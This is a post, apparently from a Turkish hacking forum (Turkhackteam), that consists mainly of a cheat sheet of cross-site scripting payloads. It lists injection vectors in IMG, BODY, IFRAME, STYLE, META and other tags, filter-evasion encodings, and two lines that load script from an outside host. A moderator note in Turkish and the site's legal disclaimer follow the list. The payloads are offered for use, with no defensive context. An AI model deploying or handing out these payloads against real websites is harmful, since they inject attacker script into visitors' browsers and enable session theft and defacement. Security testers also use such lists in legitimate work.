<IMG SRC=”jav&#x09;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0A;ascript:alert(‘XSS’);”>
<IMG SRC=”jav&#x0D;ascript:alert(‘XSS’);”>
“<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
<IMG SRC=” javascript:alert(‘XSS’);”>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<BODY ONLOAD=alert(‘XSS’)>
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
<br size=”&{alert(‘XSS’)}”>
<LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
<IMG SRC=’vbscript:msgbox(“XSS”)’>
<IMG SRC=”mocha:
Kod:
”>
<IMG SRC=”livescript:[code]”>
<META HTTP-EQUIV=”refresh” CONTENT=”0;url=javascript:alert(‘XSS’);”>
<IFRAME SRC=javascript:alert(‘XSS’)></IFRAME>
<FRAMESET><FRAME SRC=javascript:alert(‘XSS’)></FRAME></FRAMESET>
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
<DIV STYLE=”behaviour: url(‘/xss’);”>
<DIV STYLE=”width: expression(alert(‘XSS’));”>
<STYLE>@im\port’\ja\vasc\ript:alert(“XSS”)’;</STYLE>
<IMG STYLE=’xss:expre\ssion(alert(“XSS”))’>
<STYLE TYPE=”text/javascript”>alert(‘XSS’);</STYLE>
<STYLE TYPE=”text/css”>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
<BASE HREF=”javascript:alert(‘XSS’);//”>
getURL(“javascript:alert(‘XSS’)”)
“> <BODY ONLOAD=”a();”><SCRIPT>function a(){alert(‘XSS’);}</SCRIPT><”
<SCRIPT SRC=”http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
<IMG SRC=”javascript:alert(‘XSS’)”}

</code>
Merhaba sayın üye,
Alıntı olan konularınıza "Alıntıdır" yazmaktan çekinmeyin. Forumda alıntı konular paylaşmak serbestleşti.
Özgün konular paylaşmanız dileklerimle
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.